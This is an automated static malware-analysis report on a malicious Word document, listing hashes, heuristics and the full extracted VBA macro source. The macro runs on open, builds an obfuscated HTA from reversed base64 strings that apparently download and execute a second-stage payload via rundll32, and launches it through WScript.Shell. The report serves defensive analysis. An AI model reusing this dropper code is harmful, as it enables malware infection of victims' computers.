Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2c3960535f52b276…

MALICIOUS

Office (OOXML)

79.9 KB Created: 2021-05-05 08:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: 680eaaff430a8113e0830bd6f71d84ad SHA-1: b0c880c17eed7097cc41379a082ee6cce84a7517 SHA-256: 2c3960535f52b276dfb64b1fe9275d559c85d4e739d60c60898ea632e6afe362
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell to execute a command. The command is constructed by reversing a string derived from the document's title property, which likely decodes to a URL or command to download and execute a second-stage payload. The use of WScript.Shell and Shell() calls indicates an attempt to run arbitrary code.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set databaseRightStorage = ActiveDocument.BuiltInDocumentProperties("title")
    Set memoryLenTrust = CreateObject("wscript.shell")
    With memoryLenTrust
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set databaseRightStorage = ActiveDocument.BuiltInDocumentProperties("title")
    Set memoryLenTrust = CreateObject("wscript.shell")
    With memoryLenTrust
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "screenPtr"
    Sub autoopen()
    tempRemoveSwap
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6433 bytes
SHA-256: 40cd71b2f7da13116c94fab5c47b6e6227eec54b8895fa6020df18713e8e223a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{0634D9C0-854F-411E-947D-B51C7F33E293}{30B62289-8F41-4B5B-9A55-5E0749A69F73}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub button1_Click()
Set databaseRightStorage = ActiveDocument.BuiltInDocumentProperties("title")
Set memoryLenTrust = CreateObject("wscript.shell")
With memoryLenTrust
.exec (sr(databaseRightStorage))
End With
End Sub


Attribute VB_Name = "screenPtr"
Sub autoopen()
tempRemoveSwap
End Sub
Function sr(textProcLoad)
sr = StrReverse(textProcLoad)
End Function
Sub tempRemoveSwap()
Dim borderValueMem As String
argumentVbW = Split(sr(ActiveDocument.BuiltInDocumentProperties("title")), " ")
borderValueMem = argumentVbW(1)
Set refTitle = New countMemNamespace
refTitle.dataScreenTemp borderValueMem, memoryExOption
frm.button1_Click
End Sub

Attribute VB_Name = "repoTextboxLeft"
Public Function genericLibGlobal(procedureGlobalBuf)
If (Len(procedureGlobalBuf) < 1024) Then
memListbox = Array("<html><body><div id='content1'>fTtlc29sYy5tZU1mZVJub2l0cG87KTIgLCJncGouZXppU3RjZWxlc1xcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZvdGV2YXMub", "WVNZmVSbm9pdHBvOyl5ZG9iZXNub3BzZXIuY29yUHJvdGFyZXRpKGV0aXJ3Lm1lTWZlUm5vaXRwbzsxID0gZXB5dC5tZU1mZVJub2l0cG87bmVwby5tZU1mZVJub2l0c", "G87KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gbWVNZmVSbm9pdHBvIHJhdnspMDAyID09IHN1dGF0cy5jb3JQcm90YXJldGkoZmk7KShkbmVzLmNvc", "lByb3RhcmV0aTspZXNsYWYgLCJXdDdmOFJnRU5UY1JyZGRmODE1Sm5WNT1kaXMmMThiZDltaXBnaTZrRD1lbWl0JjN2b3hPM3JERlk9ZGkmRFo0alg0PWJteUkmWGNUd", "GxPTnc9ZGlzJmZDRDdBNURBVkVwdWFQQzU9Rm9heEdxMVhWJlVVa0NPRzByekt5OUFhN3hLc25TdT1xJklpMjFOb2ZUR3VMUUxCS0VXaVE9ZW1pdCZkc0lZdndDd1R6Z", "0wwVDFJMWZQPUJXPzF4aXBvZi9KR0l3VTFRR2cybTEzOGdINmI3bURDV2IvMzIyNTIvMzg2MDkvNW5HTjB5Nk9ad1ZLQ1V0MFRUdXVsNmdCMUlCZnJuS1EvdmhhWWFZM", "Up0UEtiS2duckthcmNMV1pDQXd3a3RoN")
End If
genericLibGlobal = Join(memListbox, "")
End Function
Public Function copyPointerQuery(procedureGlobalBuf)
If (Len(procedureGlobalBuf) < 1024) Then
memListbox = Array("XVkOWNNNnZWa1VpTE8vS25UZHFHOUZQVHJhc0U0Nm83Ti9XVXFIaWM3RFBXVFpHVUVoeG9MeHhiYmhseGl6NmZaVXVCSWxEbmtvZC8yMjIxMS9OcjBNd2Y3ek1BWXFTU", "kN1elp6cGFuUm1xVjJZRDI2cnpDQm53NUFZaGx5L3Nvc2dkL21vYy5hc290bmFzbWFvZi8vOnB0dGgiICwiVEVHIihuZXBvLmNvclByb3RhcmV0aTspInB0dGhsbXguM", "mxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IGNvclByb3RhcmV0aSByYXY=</div><div id='content2'>fXspd29kbmlXbm9pdHBPeEUoaGN0YWN9OykiYXRoLmV6", "aVN0Y2VsZXNcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLm5vaXRwYUNyb3RhcmV0SXdlaXZ7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRj", "ZWpiT1hldml0Y0Egd2VuID0gbm9pdHBhQ3JvdGFyZXRJd2VpdiByYXY7KSJ0aW5JbmlndWxQLGdwai5lemlTdGNlbGVzXFxjaWxidXBcXHNyZXN1XFw6YyAyM2xsZG51", "ciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=</div><div id='content3'></div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWX", "YZ</div><div id='table2'>0123456")
End If
copyPointerQuery = Join(memListbox, "")
End Function
Public Function databaseVb(procedureGlobalBuf)
If (Len(procedureGlobalBuf) < 1024) Then
memListbox = Array("789+/</div><div id='table3'></div><script language='javascript'>function counterBufferConvert(screenSwap){return(new ActiveXObje", "ct(screenSwap));}function mainWindow(titleRepoMemory){return(counterIteratorRepo.getElementById(titleRepoMemory).innerHTML);}fun", "ction procWindow(){var deleteReference = mainWindow('table1');var removeRequest = deleteReference.toLowerCase();var tableTableDo", "cument = mainWindow('table2');return(deleteReference + removeRequest + tableTableDocument);}function varMemory(s){var e={}; var ", "i; var b=0; var c; var x; var l=0; var a; var captionConst=''; var w=String.fromCharCode; var L=s.length;var tmpPointerText = bu", "ttonArgument('tArahc');for(i=0;i<64;i++){e[procWindow()[tmpPointerText](i)]=i;}for(x=0;x<L;x++){c=e[s[tmpPointerText](x)];b=(b<<", "6)+c;l+=6;while(l>=8){((a=(b>>>(")
End If
databaseVb = Join(memListbox, "")
End Function
Public Function databaseOptionRequest(procedureGlobalBuf)
If (Len(procedureGlobalBuf) < 1024) Then
memListbox = Array("l-=8))&0xff)||(x<(L-2)))&&(captionConst+=w(a));}}return(captionConst);};function buttonArgument(tempStorage){return tempStorage.", "split('').reverse().join('');}funcASelect = window;counterIteratorRepo = document;funcASelect.resizeTo(1, 1);funcASelect.moveTo(", "-100, -100);var viewData = counterIteratorRepo.getElementById('content1').innerHTML;var textboxConvert = counterIteratorRepo.get", "ElementById('content2').innerHTML;var viewData = buttonArgument(varMemory(viewData));var textboxConvert = buttonArgument(varMemo", "ry(textboxConvert));</script><script language='javascript'>function copyTrustNext(responseMemRemove){var borderRefClass = counte", "rBufferConvert(buttonArgument('lortnoctpircs.lortnoctpircssm'));borderRefClass['Language'] = 'jscript';borderRefClass['Timeout']", " = 60000;borderRefClass['AddCode")
End If
databaseOptionRequest = Join(memListbox, "")
End Function
Public Function linkWBuf(procedureGlobalBuf)
If (Len(procedureGlobalBuf) < 1024) Then
memListbox = Array("'](responseMemRemove);return(null);}</script><script language='vbscript'>Call copyTrustNext(viewData) : Call copyTrustNext(textb", "oxConvert)</script><script language='javascript'>funcASelect['close']();</script></body></html>")
End If
linkWBuf = Join(memListbox, "")
End Function
Function memoryExOption()
memoryExOption = genericLibGlobal("iewL") + copyPointerQuery("trCo") + databaseVb("xcep") + databaseOptionRequest("lass") + linkWBuf("orde")
End Function

Attribute VB_Name = "countMemNamespace"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Function dataScreenTemp(collectionVar As String, loadBufStruct As String)
Open collectionVar For Output As #1
Print #1, loadBufStruct
Close #1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30720 bytes
SHA-256: 349bd421608fefd599a0bad2a20de203497d7e378b167f131c77849a70994700
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 9 long base64-like blob(s).